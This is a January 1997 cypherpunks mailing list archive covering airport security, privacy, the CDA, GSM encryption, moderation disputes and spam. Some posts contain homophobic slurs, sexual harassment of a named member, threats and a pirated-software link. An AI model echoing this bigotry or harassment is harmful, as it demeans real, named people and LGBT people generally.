	-- The Sisters Of Mercy, _Floodland_, "Driven Like The Snow" [1987]
------- end of forwarded message -------

-- 
***************** PLEASE TAKE NOTE:
In an effort to reduce the amount of junk mail that I receive, I am no longer
reading email sent to petro@suba.com. send email to login@encodex.com where
login = petro. You send unsoliciated commercial email, and I will kill you. 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Fri, 17 Jan 1997 20:58:04 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Airport security [no such thing]
In-Reply-To: <DucP1D6w165w@bwalk.dm.com>
Message-ID: <199701180514.XAA00633@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> snow <snow@smoke.suba.com> writes:
> > > I say we make people fly naked and ship their stuff via UPS ;).
> >     >>shudder<<
> >     No!. A clear case of the cure being worse than the disease...
> Why. it might be fun - those long flight can be so boring with clothes on...

     Rossanne Barr. Nude.

     Sorry to ruin your dinner.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Internaut <unde0275@frank.mtsu.edu>
Date: Fri, 17 Jan 1997 22:01:00 -0800 (PST)
To: "rcgraves@disposable.com>
Subject: RE: Newt's phone calls
Message-ID: <01BC04D2.80B01D40@s10-pm06.tnstate.campus.mci.net>
MIME-Version: 1.0
Content-Type: text/plain


>What does concern me is personal privacy. I don't want people tracking
>my movements or purchasing patterns, so I prefer to use cash or
>pseudonymous debit cards.

How pseudonymous are debit cards?  Don't they go through visa before they debit your account?
--Internaut





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Fri, 17 Jan 1997 21:01:51 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Airport security [no such thing]
In-Reply-To: <32E04544.7491@gte.net>
Message-ID: <Pine.SOL.3.93.970117235709.23441B-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 17 Jan 1997, Dale Thorn wrote:

> Dr.Dimitri Vulis KOTM wrote:
> > snow <snow@smoke.suba.com> writes:
> > > > I say we make people fly naked and ship their stuff via UPS ;).
> 
> > >     >>shudder<<
> > >     No!. A clear case of the cure being worse than the disease...
> 
> > Why. it might be fun - those long flight can be so boring with clothes on...
> 
> This one I really don't understand.  Cypherpunks lobbied heavily for
> the Final Solution to Spamming and flaming, now along comes the perfect
> solution to the airport security problem, and nobody's gonna go for it.
> 
> Guess those old, out-of-shape guys don't want anybody laughing at them.
> Besides, they can put all the clothes in the same plane's baggage
> compartment.  And planes have those little blankets and pillows,
> so what's the problem?

	Cold temps...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Fri, 17 Jan 1997 21:11:04 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Airport security [no such thing]
In-Reply-To: <DucP1D6w165w@bwalk.dm.com>
Message-ID: <Pine.SOL.3.93.970118000443.23757A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 17 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> snow <snow@smoke.suba.com> writes:
> 
> > > I say we make people fly naked and ship their stuff via UPS ;).
> >
> >     >>shudder<<
> >
> >     No!. A clear case of the cure being worse than the disease...
> 
> Why. it might be fun - those long flight can be so boring with clothes on...
> 

	That depends...on the movie.

> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 18 Jan 1997 00:09:10 -0800 (PST)
To: Rodrigo Espirito Santo <res@unidyne.uni.pt>
Subject: Re: Get me off this fucking list, or else.... (fwd)
Message-ID: <3.0.1.32.19970118000831.0065be70@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Either
a) You don't follow directions very well 
	(since you're still on the list, and since the software
	works just fine for people who can follow directions
	or consider spelling to be unimportant), or
b) The mailing list daemon is broken (happens sometimes, but usually
	that gives you no traffic), or
c) The mail you're sending doesn't have your correct headers on it
	(e.g. looks like it's from res@pc43.unidyne.uni.pt instead of 
	res@unidyne.uni.pt), in which case you may need human help, or
d) Somebody doesn't like you and subscribed you to the list
	because it's well-known to be a high-volume mailing list,
	and they keep subscribing you after you unsubscribe,
	in which case harassing the 1300+ people who _do_ want to
	be on the list is not a good thing to do.

So send mail to majordomo@toad.com, saying "help" and RFTM.


At 04:31 PM 1/17/97 +0000, Rodrigo Espirito Santo wrote:
>
>
>---------- Forwarded message ----------
>Date: Fri, 17 Jan 1997 16:30:25 +0000 (GMT)
>From: Rodrigo Espirito Santo <res@unidyne.uni.pt>
>To: cypherpunks@toad.com
>Cc: cypherpunks@toad.com
>Subject: Get me off this fucking list, or else....
>
>Hey you dumb asses, i tried to unsubscribe this list in the correct way 
>but you guys don't know SHIT about this!!!!1
>If you don't get me out now i'll subscribe each and every one of you to 
>some goddamn gay and lesbiann and freak mailing list!!!!!!
>get me out!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
>  
>
>
>

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sir Robin of Locksley <tozser@stolaf.edu>
Date: Fri, 17 Jan 1997 22:08:58 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: Re: Enough is Never Enough -- pro-CDA alliances, from TNNN
Message-ID: <199701180608.AAA17196@nic.stolaf.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

 >
 >
 >---------- Forwarded message ----------
 >Date: Fri, 17 Jan 1997 18:04:35 -0800 (PST)
 >From: Declan McCullagh <declan@well.com>
 >To: fight-censorship@vorlon.mit.edu
 >Subject: Enough is Never Enough -- pro-CDA alliances, from TNNN
 >
 >[Attached are two excerpts from the article. For the rest, check out:
 >http://cgi.pathfinder.com/netly/textonly/1,1035,549,00.html --Declan]
 >
 >********
 >
 >The Netly News Network
 >http://netlynews.com/
 >
 >Enough Is Never Enough
 >By Declan McCullagh (declan@well.com)
 >January 17, 1997
 >
 >       A broad coalition of conservative and anti-pornography groups and
 >   individuals will file legal briefs next Tuesday in the Supreme Court
 >   supporting the government's defense of the Communications Decency Act,
 >   The Netly News has learned.
 >   
 >       The alliance includes longtime supporters of the act, such as
 >   Enough is Enough, Focus on the Family, and the National Association of
 >   Evangelicals. Members of Congress will join a separate brief that the
 >   National Law Center for Children and Families is preparing.
 >   
 >       But a letter from the attorney representing the coalition asked
 >   the ACLU for permission to file a brief "on behalf of" 59 plaintiffs,
 >   including such unlikely participants as the National Association for
 >   the Advancement of Colored People, PBS, SafeSurf... and Netscape.
 >   
 >       Netscape? The company that lobbied against the CDA? A firm with a
 >   reputation of putting their balls on the chopping block when fighting
 >   for Net-issues on Capitol Hill? Netscape was as shocked as I was to
 >   learn about their participation. "It wasn't authorized by me or my
 >   office. This is flabbergasting," Peter Harter, public policy counsel
 >   for Netscape, said. "I'd be crucified if this happened."
 >
 >[...]
 >   
 >       In their brief, which argues sociological rather than legal
 >   points, the groups hope to highlight the "dangers" of pornography
 >   online. They plan to supply the court with "legislative facts" to
 >   support the position Congress took when crafting the bill. The
 >   document also will include statistics discussing the effects of the
 >   Internet on children and the availability of material covered by the
 >   law. (Marty Rimm, where are you now?)
 >   
 >       Donna Rice-Hughes from Enough is Enough says: "It discusses three
 >   primary areas of our concern: letting the court know the problems on
 >   the Internet. Adult pornography, indecency, and child porn as well. A
 >   section on the harms of pornography. And a section dealing with the
 >   compliance issues: Is it feasible technically to comply with the CDA?"
 >
 
Stuff like this makes me sick. What the hell is up with these people!? You
offended me so you must leave. Well, excuse me, there is a reason internet
addresses have a WWW URL. It stands for World Wide Web and as such encompasses
the world. If there is stuff in the world that offends someone, don't look! But
to tell everyone else that they can't either since some were offended, that is
a starting point for cencorship. Now it's porn, tomorrow it's you saying what
you beleive (that might also be the truth...)

If one is offended by something, don't look! How come Catholicism doesn't get
banned and outlawed? Hell, it offends me... Guess not people!

>[...]
 >   
 >       Chris Stamper and Noah Robischon contributed to this report.
 >   

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMuBpXKr5aWnB1HshAQEm0QgAwnTz+xjtVKCVNgA0/L5hkqBALubqySM3
zzZlifGue1tq9puyPFEvaPSgRuRWcZSJN9BOYXAVd/kMnMiGwlvV2mAFjGiOCl2W
sPu5tUEC01V77l/egifYp8CvVGjsaZRBiQ5Ia0e5kqM/kd6/gxcbcRk69/3kpCQX
E2CCHCMZS+aW/HOl2HhX2k8t8oVVAGLoJFkaNV5WEc33N5XMv7URTBpx07NH8nmc
EjNpbroXl2LwqakAWleEFbr+eBQLJOPa43CKbRha6Dxop+LaaQrMBgihnHdD410P
6g0SgX0dJup9LTYryF3Ig30tUl/uJPdhg2TpjRw+/bom2v1m4iRZHg==
=vZqM
-----END PGP SIGNATURE-----

Gabor K. Tozser
        (Gabe)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 17 Jan 1997 21:50:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Airport security [no such thing]
In-Reply-To: <Pine.SOL.3.93.970117235709.23441B-100000@pegasus.montclair.edu>
Message-ID: <TBoP1D18w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Nurdane Oksas <oksas@asimov.montclair.edu> writes:

> On Fri, 17 Jan 1997, Dale Thorn wrote:
>
> > Dr.Dimitri Vulis KOTM wrote:
> > > snow <snow@smoke.suba.com> writes:
> > > > > I say we make people fly naked and ship their stuff via UPS ;).
> >
> > > >     >>shudder<<
> > > >     No!. A clear case of the cure being worse than the disease...
> >
> > > Why. it might be fun - those long flight can be so boring with clothes on
> >
> > This one I really don't understand.  Cypherpunks lobbied heavily for
> > the Final Solution to Spamming and flaming, now along comes the perfect
> > solution to the airport security problem, and nobody's gonna go for it.
> >
> > Guess those old, out-of-shape guys don't want anybody laughing at them.
> > Besides, they can put all the clothes in the same plane's baggage
> > compartment.  And planes have those little blankets and pillows,
> > so what's the problem?
>
> 	Cold temps...

What can naked people do to keep warm???

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 18 Jan 1997 00:18:11 -0800 (PST)
To: Brad Dolan <bdolan@USIT.NET>
Subject: Re: National Security State has different standards for 'them' and 'us'
Message-ID: <3.0.1.32.19970118001514.0066c860@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:48 PM 1/16/97 -0500, Brad Dolan wrote:
>I was distracted a bit but I believe I heard on NPR news this morning that
>Colorado Guv. Roy Roemer showed up at an airport sans id and had a moment
>of difficulty getting on his flight.  Roemer solved the problem by showing
>the Federal Permission-To-Fly checker a picture of himself in a recent
>newspaper.

>I thought the ill-defined (or ill-described) rules required presentation
>of a _government_ picture I.D.  Since when is a newspaper photo a
>government picture I.D.?  

No, they don't, though the airlines like you to think that
since it simplifies their life and it's something they can tell
$5/hour bag checkers as well as higher-paid gate agents.
There is no national rule that applies to everybody requiring it;
each airline apparently has to negotiate with the FAA to make sure
they're doing a "reasonable" job of identifying their passengers.
The airline is free to make whatever rules they want.

On United, I normally use my employee ID and the credit card I use
to buy the electronic-ticket, which verifies reasonably well that
I'm the person the ticket was bought for (by the people who
told the airline they're my employer's travel agents.)

If the _government_ required _you_ to have government ID,
there'd be serious Constitutional problems with it;
regulating interstate commerce and air traffic safety by
forcing the airlines to do something they'd kind of like
to do anyway doesn't have the same problems, even though it's
almost _more_ offensive to a free society.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 18 Jan 1997 00:37:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: ftp sites for Applied Cryptography 2E.
Message-ID: <199701180837.AAA14712@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


All the ftp sites I've found with the source code from
Applied Cryptography had the source code from the first
edition. I assume there are changes and additions to the
source code in the second edition. Are there any ftp sites
with the the newer code?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Internaut <unde0275@frank.mtsu.edu>
Date: Fri, 17 Jan 1997 23:36:55 -0800 (PST)
To: "'snow'" <snow@smoke.suba.com>
Subject: RE: Airport security [no such thing]
Message-ID: <01BC04DF.D5F8C600@s10-pm06.tnstate.campus.mci.net>
MIME-Version: 1.0
Content-Type: text/plain


snow wrote:
> I say we make people fly naked and ship their stuff via UPS ;).

    >>shudder<<

    No!. A clear case of the cure being worse than the disease...


I was just kidding.  We do have to take on risks, like people wearing 
clothes, carring packages, ect.  As Igor Chudov @ home wrote recently in 
the Newt's phone calls thread:

> I would not be worried about this issue at all. The world at large is
> insecure in very many respects: it is easy to find out credit card
> numbers, overhear conversations, install hidden microphones, hack
> into computers, etc etc. It does not mean that we should stop all
> activity simply because there is "some" risk of losses.

We have two seemingly conflicting desires: the desire for security and the 
desire for privacy.  I do not call being searched "privacy" yet I do not 
call not being searched "security".  We need to find creative resolutions 
to these conflicts.

Of course, it is debatable if there is even an expectation of privacy on an 
airplane.  I don't mind terrably being searched in an airport by security 
because I don't expect the privacy.  I expect security.  I don't want to 
die.  If I have things I don't want them to see, there are other ways to 
get it there. I would worry if they cataloged what I had in a database and 
sold it to others.
 The service is just that -a service.  It is not a right.  We can travel 
other ways, too.
My late night ramblings cease, Internaut





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Foley <mycroft@actrix.gen.nz>
Date: Fri, 17 Jan 1997 06:16:58 -0800 (PST)
To: "registration@nature.com"@www.nature.com
Subject: Re: Nature Registration Confirmation
In-Reply-To: <199701170758.HAA00218@www.nature.com>
Message-ID: <199701171240.BAA04178@mycroft.actrix.gen.nz>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 17 Jan 1997 07:58:27 GMT,
		"registration@nature.com"@www.nature.com wrote:

   If you ever forget your password, there's no need to
   re-register. Just e-mail registration@nature.com with your
   name/e-mail address, and we'll look up your details and confirm
   your password/username.

   Also, please rest assured that your information is treated as
   confidential. It is held on our secure server and will never be
   sold or traded to any other company, organisation or individual.

Unless they write and ask, of course :-)

-- 
Paul Foley <mycroft@actrix.gen.nz>       ---         PGPmail preferred

	   PGP key ID 0x1CA3386D available from keyservers
    fingerprint = 4A 76 83 D8 99 BC ED 33  C5 02 81 C9 BF 7A 91 E8
----------------------------------------------------------------------
"I stayed up all night playing poker with tarot cards.  I got a full
house and four people died."
		-- Steven Wright




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan Harmon <harmon@tenet.edu>
Date: Fri, 17 Jan 1997 23:54:45 -0800 (PST)
To: Bovine Remailer <haystack@holy.cow.net>
Subject: Re: your mail
In-Reply-To: <199701180655.BAA12721@holy.cow.net>
Message-ID: <Pine.OSF.3.91.970118015312.31481B-100000@gaston.tenet.edu>
MIME-Version: 1.0
Content-Type: text/plain




Too much free time.


		Surf'n the singularity.

On Sat, 18 Jan 1997, Bovine Remailer wrote:

> Timothy May's obsessive masturbation has lead to 
> advanced degree of blindness and hairy palms.
> 
>        ___
>      \/   \/
>      |_O O_| Timothy May
>       | ^ |
>      / UUU \
> 
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Fri, 17 Jan 1997 23:12:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199701180655.BAA12721@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


Timothy May's obsessive masturbation has lead to 
advanced degree of blindness and hairy palms.

       ___
     \/   \/
     |_O O_| Timothy May
      | ^ |
     / UUU \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Profits@Goodnet.com
Date: Sat, 18 Jan 1997 00:59:00 -0800 (PST)
Subject: "Opportunity Knocks"      THIS MAILING IS BEING SENT TO YOU COMPLEMENTS            OF A COMMERCIAL E-MAILER SERVER.              PLEASE SEND ALL COMPLAINTS AND               ( REMOVE FROM LIST REQUESTS)                 TO: Nomad@Capella.net                Thank You, The Management      ----------------------------------------------      ----------------------------------------------      ----------------------------------------------
Message-ID: <199701180856.BAA24554@goodguy.goodnet.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 18 Jan 1997 02:07:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Eudora PGP
Message-ID: <199701181007.CAA19324@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain




If somebody wants to play with the new Eudora PGP
but don't have Eudora Pro 3.0, it is available at
ftp://ftp.catalog.com/aussie/biscoe/Eudora30.zip

Btw, is it legal for a moderator to let messages
like this one through to the list...?

Cheers






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "roamer.fau" <roamer@fau.campus.mci.net>
Date: Sun, 19 Jan 1997 00:01:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: mailing list
Message-ID: <32E081C4.3A11@fau.campus.mci.net>
MIME-Version: 1.0
Content-Type: text/plain


Please place me on your mailing list.           
						Thank You,
															  Mark




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Profits@Goodnet.com
Date: Sat, 18 Jan 1997 02:25:37 -0800 (PST)
Subject: "More Profits Faster"   THIS MAILING IS BEING SENT TO YOU COMPLEMENTS        OF A COMMERCIAL E-MAILER SERVER.          PLEASE SEND ALL COMPLAINTS AND           ( REMOVE FROM LIST REQUESTS)             TO: Nomad@Capella.net            Thank You, The Management  ----------------------------------------------  ----------------------------------------------  ----------------------------------------------
Message-ID: <199701181002.DAA04007@goodguy.goodnet.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sat, 18 Jan 1997 02:54:26 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Kill filing
In-Reply-To: <J9cP1D10w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970118055153.17014E-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 17 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> aga <aga@dhp.com> writes:
> 
> > Stop acting so stupid, Michael.
> >
> > On Thu, 16 Jan 1997, Dale Thorn wrote:
> >
> > > Michael Gurski wrote:
> > > > On Thu, 16 Jan 1997, Robert Hettinga wrote:
> > > > > At 1:05 pm -0500 1/16/97, Ed Falk wrote:
> > >
> > > > > And, in my case, Eudora displays each message in the status window as i
> > > > > bringing something down from the POP server, and again as it filters.
> > > > > So, Toto, you're not in "Cansas" any more. It's called a "Trash" folder
>                                  ^^^^^^
> Michael is so stupid, he can't spell "Kansas". That's why he's a "cypher punk".
> 

Is Michael a queer?

> > > > I used to have procmail shove messages from certain folks directly to
> > > > /dev/null, but then wondered a few days ago if I were missing
> > > > anything, so they ended up going to $MAILDIR/.in.garbage.  After
> > > > looking in there today, I'm glad to say that it's back to /dev/null,
> > > > with no regrets. Of course, with the new moderated list, there shouldn't
> > > > be too much work for procmail, except for those folks who I personally
> > > > feel aren't worth reading...
> > >
> > > Michael, please tell me and everyone else at cypherpunks just why it
> > > is we should give a shit at all what your personal killfile habits
> > > are, and whether we should give a shit about whether you think anyone
> > > on this list is or isn't worth reading.
> > >
> > > You and a thousand other clowns seem to think this is cool to do,
> > > but you're actually pointing back at yourself with this kind of crap.
> 
> The jerks who describe in detail whom they killfile (like Hettiga) always lie.
> Control freaks are really obsessed with the people they claim to "plonk",
> and read everything their "enemies" write with great interest.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

Now if this Michael is a queer, it reinforces the hypothesis:

Most problem people on Usenet are queer.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sat, 18 Jan 1997 07:40:32 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <853575672.913152.0@fatmans.demon.co.uk>
Message-ID: <Pine.SUN.3.91.970118072302.29745A-100000@crl2.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sat, 18 Jan 1997 paul@fatmans.demon.co.uk wrote:

> ...but I must say the list has gone downhill sharply since 
> the start of the censorship.

I guess this a classic case of seeing what you want to see.
(Uh, Paul, the moderation experiment HASN'T STARTED YET.)


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 18 Jan 1997 00:23:50 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
Message-ID: <853575672.913152.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> > I suppose you want a special censored list where everyone who uses
> > the word "fuck" in relation to your good self or any other member of
> > this list you agree with has their posting cut?
> 
> No, I don't want censored anything. "Cypher punks" have degenerated into
> a moderated forum where those who dare criticize His Royal Majesty John
> the Cocksucker and his court are forcibly unsubscribed, while all sorts
> of vile insults directed at John's many "enemies" are encouraged.

I quite agree, there is something most definitely wrong with this 
whole situation, still, at least there are some crypto-relevant 
people on the "cryptography" mailing list. cypherpunks still has worthwhile 
nuggets on it but I must say the list has gone downhill sharply since 
the start of the censorship.
 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 18 Jan 1997 00:28:58 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Newt's phone calls
Message-ID: <853575672.913148.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> 
> GSM includes A5 encryption here, so basically the whole design is worked out
> - all you'd have to do is rip out the A5 chip and replace with a decent
> encryption system.  Anyone know how modular the design is, for instance if
> it would be possible to give a GSM A5 based cell phone a crypto upgrade
> using published electrical interface standards?  (I want one of those -
> Nokia phone with IDEA + 2048 bit RSA signatures + DH forward secrecy!)

My guess is that this would not work.

Does anyone know if when you use a GSM phone to call a landline 
number the cellphone<-> base station trafic is encrypted???

my guess is that only when you call GSM to GSM is the trafic 
encrypted and even then I would imagine each phone agrees a key with 
the base station for the network then the trafic between the base 
stations is cleartext. The only way, if this were the case, would be 
to write the code so that the headers and other network information 
like SIM ID number etc... were cleartext or just A5 to the network as 
standard and only the actual speech data was encrypted under 
something stronger. This approach could become troublesome, 
if I have time I`ll get hold of some GSM specifications and look at 
it more closely.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Sat, 18 Jan 1997 06:39:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Repeal the 9th Amendment? (fwd)
Message-ID: <199701181446.IAA30422@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> Date: Sat, 18 Jan 1997 08:53:59 -0500
> From: John Young <jya@pipeline.com>
> Subject: Repeal the 9th Amendment?
> 
> Your Jan. 9 article on the "assisted suicide" issue argued before 
> the U.S. Supreme Court does not mention the Ninth Amendment once 
> ("High court wrestles with assisted suicide"). I was not surprised. 
> Democrats and Republicans consistently ignore the Ninth (and 
> appoint judges who likewise ignore it).
> 
> The Ninth Amendment states: "The enumeration in the Constitution 
> of certain rights shall not be construed to deny or disparage 
> others retained by the people." By ignoring this plain wording, 
> the judiciary displays a reluctance to "create new constitutional 
> rights," an admirable sentiment. Considering that no one seems to 
> take it seriously, perhaps we should consider repealing the 
> "forgotten" Ninth Amendment.

Don't forget the 10th, without the 10th the 9th isn't worth the ink it is
written on. The two Amendments are meant to work hand in hand. Any party
which mentions one without the other is either attempting an end run or else
does not really understand what is being stated in them.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 18 Jan 1997 05:58:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Repeal the 9th Amendment?
Message-ID: <1.5.4.32.19970118135359.0068ca28@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


A challenge on the ignored Ninth Amendment:


1-14-97. Washington Times, p. A14:


Why not just repeal the forgotten Ninth Amendment

Your Jan. 9 article on the "assisted suicide" issue argued before 
the U.S. Supreme Court does not mention the Ninth Amendment once 
("High court wrestles with assisted suicide"). I was not surprised. 
Democrats and Republicans consistently ignore the Ninth (and 
appoint judges who likewise ignore it).

The Ninth Amendment states: "The enumeration in the Constitution 
of certain rights shall not be construed to deny or disparage 
others retained by the people." By ignoring this plain wording, 
the judiciary displays a reluctance to "create new constitutional 
rights," an admirable sentiment. Considering that no one seems to 
take it seriously, perhaps we should consider repealing the 
"forgotten" Ninth Amendment.

After all, it seems to be written in invisible ink on just about 
every copy of the Bill of Rights owned by journalists and the 
judiciary. It is never the basis if deciding cases. Instead, it 
just clutters up the Bill of Rights and causes libertarians to 
prattle on endlessly about individual rights. I believe it would 
be healthy for this country to debate repealing the Ninth 
Amendment.

Although I am opposed to the idea of repealing it, I am just as 
opposed to the idea of ignoring parts of the Bill of Rights. 
Perhaps my proposed debate will cause some lawyers, journalists, 
judges and Supreme Court justices to reconsider their present 
positions.

Jim Ray
Miami, Fla.

Mr. Ray is chairman of the Dade County Libertarian Party Organization.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Sat, 18 Jan 1997 06:06:59 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Airport security [no such thing]
In-Reply-To: <TBoP1D18w165w@bwalk.dm.com>
Message-ID: <Pine.SOL.3.93.970118085515.26106A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> 
> > On Fri, 17 Jan 1997, Dale Thorn wrote:
> >
> > > Dr.Dimitri Vulis KOTM wrote:
> > > > snow <snow@smoke.suba.com> writes:
> > > > > > I say we make people fly naked and ship their stuff via UPS ;).
> > >
> > > > >     >>shudder<<
> > > > >     No!. A clear case of the cure being worse than the disease...
> > >
> > > > Why. it might be fun - those long flight can be so boring with clothes on
> > >
> > > This one I really don't understand.  Cypherpunks lobbied heavily for
> > > the Final Solution to Spamming and flaming, now along comes the perfect
> > > solution to the airport security problem, and nobody's gonna go for it.
> > >
> > > Guess those old, out-of-shape guys don't want anybody laughing at them.
> > > Besides, they can put all the clothes in the same plane's baggage
> > > compartment.  And planes have those little blankets and pillows,
> > > so what's the problem?
> >
> > 	Cold temps...
> 
> What can naked people do to keep warm???

	steal blankets from nearby passenger..





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: i.am.not.a.number@best.com
Date: Sat, 18 Jan 1997 08:48:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [STATS] Cypherpunks-unedited subscriptions
Message-ID: <3.0.32.19970118090523.006ac2fc@best.com>
MIME-Version: 1.0
Content-Type: text/plain


dang!  i forgot to change.
what's the moderated list being called?
which is this one?  yikes --- i've been paying attention 
to somether things.


At 08:17 PM 1/17/97 -0800, you wrote:
>Total subscribers for:
>
>Tue 14 Jan: 13
>Wed 15 Jan: 15
>Thu 16 Jan: 13
>Fri 17 Jan: 14
>
>Looks like one of two things:
>Either nobody wants the unedited list, or, some of the "regular people"
>subscribe to the edited list and "flames" list separately, to get both.
>
>
>




